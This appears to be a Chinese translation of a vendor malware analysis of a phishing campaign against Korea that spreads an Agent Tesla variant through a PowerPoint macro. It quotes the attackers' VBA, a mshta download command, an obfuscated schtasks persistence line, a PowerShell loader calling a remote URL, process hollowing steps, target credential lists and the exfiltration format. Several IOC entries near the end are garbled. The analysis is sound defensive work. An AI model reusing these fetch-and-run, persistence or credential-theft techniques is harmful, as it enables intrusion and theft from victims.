Fortinet FortiGuard 實驗室近期發現了針對韓國發起攻擊的網路釣魚攻擊,郵件使用韓文書寫並要求收件人開啟附件中的 PowerPoint 檔案以檢視採購訂單,該惡意PowerPoint 檔案會傳播 Agent Tesla 的新變種。
自從 2014 年 Agent Tesla 被發現以來一直非常活躍,多個變種層出不窮。Agent Tesla 是一個 .Net 編寫的惡意軟體,主要用於從失陷主機上竊取敏感資訊,如剪貼簿資料、鍵盤按鍵記錄、軟體憑據(瀏覽器、郵件、VPN、FTP、即時通訊軟體等)、螢幕截圖等。
釣魚郵件
郵件中的韓文試圖引誘收件人開啟附件以確認採購訂單。
釣魚郵件
惡意 PowerPoint
PowerPoint 檔案中包含一個名為 Auto_Open() 的宏程式碼,在開啟檔案時就呼叫該函式。
VBA 程式碼如下所示:
Sub Auto_Open()
p_ = soraj.bear.GroupName
Shell p_
End Sub
soraj 是一個 UserForm 控制元件的名字,而bear 是 soraj 內的 CheckBox 控制元件的名稱。攻擊者呼叫 Shell 執行從 bear 控制元件的 GroupName 屬性中讀取的命令。
CheckBox 內容
如上所示,soraj.bear.GroupName 的值為 mshta hxxp[:]//bitly[.]com/gdhamksgdsadj。
命令由 mshta 和一個 URL 組成。mshta 可用於執行 HTML 應用程式檔案以及 VBScript 指令碼等,開啟該 URL 後會被重定向到其他 URL(hxxps[:]//onedayiwillloveyouforever[.]blogspot.com/p/divine111.html)。響應中包含一段 VBScript 程式碼,用於將轉義的程式碼寫入由 mshta.exe 執行的當前 HTML 檔案。
請求互動
如上所示,響應資料中可以看到 URL 重定向和轉義的 VBScript 程式碼。
這種 VBScript 程式碼被稱為 VBScript-embedded-in-HTML,部分未轉義程式碼如下所示:
部分 VBScript 程式碼
指令碼檔案
攻擊者在傳播 Agent Tesla 的過程中使用了多種指令碼,包括 VBScript-embedded-in-HTML、VBScript 和 PowerShell 等用於各種用途。
升級
惡意軟體會每兩個小時請求一次新版本,並在失陷主機上執行。為此,VBScript-embedded-in-HTML 執行命令將其新增到計劃任務中。建立執行計劃的命令如下所示:
args = "/create /sc MINUTE /mo 120 /tn """"update-Yendex """" /F /tr """"\""""MsHtA""""\""""hxxps://madarbloghogya.blogspot.com/p/divineback222.html""""
Set Somosa = GetObject("new:13709620-C279-11CE-A49E-444553540000")
'schtasks 'open
Somosa Shellexecute StrReverse("sksathcs"), args, "", StrReverse("nepo"), 0
定時任務持久化
在遠端 HTML 檔案中執行 VBScript 程式碼,會下載 Agent Tesla 到失陷主機,檢測並終止正在執行的 Agent Tesla 程序,以進行升級。
持久化
從 VBScript-embedded-in-HTML 中提取的獨立 VBS 檔案 %Public%\hulalalMCROSOFT.vbs 會從 hxxps[:]//bitbucket[.]org/!api/2.0/ 下載另一個 base64 編碼的 VBS 程式碼片段 /hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2 到本地。透過 base64 解碼後,VBS 程式碼將會被儲存到位於 %Public% 資料夾下的 UYA-update.vbs 檔案中。
這個 VBS 程式碼片段會下載 Agent Tesla 並在失陷主機上執行。無論何時執行該 VBS 檔案,都會啟動 Agent Tesla。
為了維持持久化,Agent Tesla 會將 UYA-update.vbs 檔案複製到 Startup 資料夾中並重命名為 GTQ.vbs,這能夠使其在系統啟動時自啟動。
VBS 指令碼檔案
Process Hollowing
UYA-update.vbs 根據本地變數在 base64 解碼出的 PE 檔案中提取 PowerShell 程式碼,再呼叫 PowerShell.exe 執行。PE 檔案是一個 .NET 程式,其中包含一個屬於 ClassLibrary3.Class1 類、名為 Run() 的函式。
呼叫函式的 PowerShell 程式碼,如下所示:
[System.AppDomain]::CurrentDomain.Load($fuUN).GetType('ClassLibrary3.Class1').GetMethod( 'Run' ).Invoke($null, [object[]] ('1-1enivid/selif/c4ab4d371cd40ce3303b4d33c868122f7cfd /do8qxn/aygoh/steppins/0.2/ipa!/gro.tekcubtib//:sptth'))
$fuUN 從解碼的 .NET 檔案中呼叫 GetType() 和 GetMethod() 來獲取函式 ClassLibrary3.Class1.Run() 並透過 Invoke() 呼叫 Run() 函式,執行的引數是一個 URL,具體為 hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1。
函式 ClassLibrary3.Class1.Run() 的完整程式碼如下所示:
.NET 函式程式碼
呼叫函式 ClassLibrary3.Class1.Run() 後,透過連結下載 hxxp[:]//149.56.200.165/rump/1.txt(執行 Process Hollowing 的 .NET 模組)和 hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1(Agent Tesla)。
Agent Tesla 在失陷主機上採用無檔案執行,只存在於 PowerShell 程序的記憶體中。另一個 .NET 模組負責執行 Process Hollowing 的函式為 ClassLibrary1.Class1.Run(),並且針對 RegAsm.exe 執行 Agent Tesla。
RegAsm.exe 是 Microsoft .Net Framework 的官方元件,攻擊者將惡意軟體注入其中規避檢測。
.NET 模組中呼叫了許多 Windows API 函式將 Agent Tesla 注入目標程序。
透過帶有 CREATE_SUSPENDED 標誌的 CreateProcess() 建立掛起的exe 程序
透過 VirtualAllocEx()、NtUnmapViewOfSection()、ReadProcessMemory()、WriteProcessMemory() 將 Agent Tesla 注入掛起的exe 程序新分配的記憶體中
透過 SetThreadContext()/Wow64SetThreadContext()、GetThreadContext()/Wow64GetThreadContext() 修改exe 的登錄檔並修改 EIP 指標指向 Agent Tesla
透過 ResumeThread() 恢復執行exe 程序
Agent Tesla 執行後就會竊取受害者的私密資訊。
Agent Tesla
Agent Tesla 對外發布了 Setup 程式,可以根據攻擊者啟用的功能編譯 Agent Tesla 程式。
Agent Tesla 可以透過 Main()(憑據竊取)、Timer(竊取剪貼簿、螢幕截圖等)和 Thread(透過瀏覽器竊取 Cookie)等函式啟動需要執行的功能。
捕獲的 Agent Tesla 變種只啟用了憑據竊取與 Cookie 竊取功能,支援的客戶端超過 70 個,如下所示:
基於 Chromium 的 Web 瀏覽器:Epic Privacy, Uran, Chedot, Comodo Dragon, Chromium, Orbitum, Cool Novo, Sputnik, Coowon, Brave, Liebao Browser, Elements Browser, Sleipnir 6, Vivaldi, 360 Browser, Torch Browser, Yandex Browser, QIP Surf, Amigo, Kometa, Citrio, Opera Browser, CentBrowser, 7Star, Coccoc, and Iridium Browser.
網頁瀏覽器:Chrome, Microsoft Edge, Firefox, Safari, IceCat, Waterfox, Tencent QQBrowser, Flock Browser, SeaMonkey, IceDragon, Falkon, UCBrowser, Cyberfox, K-Meleon, PaleMoon.
VPN 客戶端:Open-VPN, Nord-VPN, RealVNC, TightVNC, UltraVNC, Private Internet Access VPN.
FTP 客戶端:FileZilla, Cftp, WS_FTP, FTP Navigator, FlashFXP, SmartFTP, WinSCP 2, CoreFTP, FTPGetter.
郵件客戶端:Outlook, Postbox, Thunderbird, Mailbird, eM Client, Claws-mail, Opera Mail, Foxmail, Qualcomm Eudora, IncrediMail, Pocomail, Becky! Internet Mail, The Bat!.
即時通訊客戶端/下載工具:DownloadManager, jDownloader, Psi+, Trillian.
其他:MySQL and Microsoft Credentials.
部分程式碼示意圖
竊取資訊示意圖
上圖顯示了剛從 IceCat 程式竊取的憑據,Browser 是客戶端名稱、Password 是儲存的密碼、URL 是登入頁面、UserName 是儲存的使用者名稱。
竊取的憑據儲存在全域性變數中,格式化後回傳給攻擊者。
資料回傳
Agent Tesla 支援四種方式將竊取資料回傳給攻擊者,分別是 FTP、HTTP POST、SMTP、Telegram。
捕獲的變種使用了 HTTP POST 方式。Agent Tesla 首先使用 DES 將資料加密,再利用 base64 編碼後透過 HTTP POST 請求傳送給攻擊者。Agent Tesla 向硬編碼的字串 hxxp[:]//69[.]174.99[.]181/webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php 傳送請求。
回傳資料包
如上所示,Agent Tesla 將竊取的資料作為 p= 的值進行傳送。
資料頭中包含失陷主機的基本資訊:“資料包編號”+“分隔符”+“受害者ID”+“分隔符”+“日期和時間”+“分隔符字串”+“使用者名稱/計算機名”+“分隔符”,後續緊跟著被竊取的資訊。
回傳資訊格式
如上所示,為一個編號為 6 的資料包示例。分割字串為 0de264895c1ed90486c73c6eb110af6c2222264a0854b0047b9ead88b718f7d0,受害者 ID 是根據系統硬體資訊生成的 MD5 雜湊。
Agent Tesla 共提供了七種資料包進行資料回傳:
0:第一個資料包,通知攻擊者 Agent Tesla 已經成功啟動,只包含資料頭。
1:每隔 120 秒傳送一次的保活心跳資料包,只包含資料頭。
2:每隔 60 秒傳送一次的確認解除安裝資料包,響應中存在解除安裝命令時將會刪除所有相關檔案並且清除登錄檔
3:傳送受害者鍵盤記錄和剪貼簿資料的資料包
4:傳送受害者螢幕截圖的資料包
5:傳送受害者竊取憑據的資料包
6:傳送受害者竊取的 Cookie 的資料包
結論
這次的釣魚攻擊針對韓國使用者展開,攻擊會傳播 Agent Tesla 的一個新變種,並且回傳相關資訊給攻擊者。
IOC
hxxps[:]//onedayiwillloveyouforever[.]blogspot[.]com/p/divine111.html
hxxps[:]//madarbloghogya[.]blogspot[.]com/p/divineback222.html
hxxps[: ]//bitbucket[.]org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2
hxxp[:]//149[.]56.16500
hxxps[:]//bitbucket[.]org/!api/2.0/snippets/hogya/nxq8od/c73df176f221868c33d4b3033ec04dc173d4ba4c/files/divine1-1
hxxp[:]1.//64189[.]/ webpanel-divine/mawa/7dd66d9f8e1cf61ae198.php
AA121762EB34D32C7D831D7ABCEC34F5A4241AF9E669E5CC43A49A071BD6E894
0BBF16E320FB942E4EA09BB9E953076A4620F59E5FFAEFC3A2FFE8B8C2B3389C
參考來源
Fortinet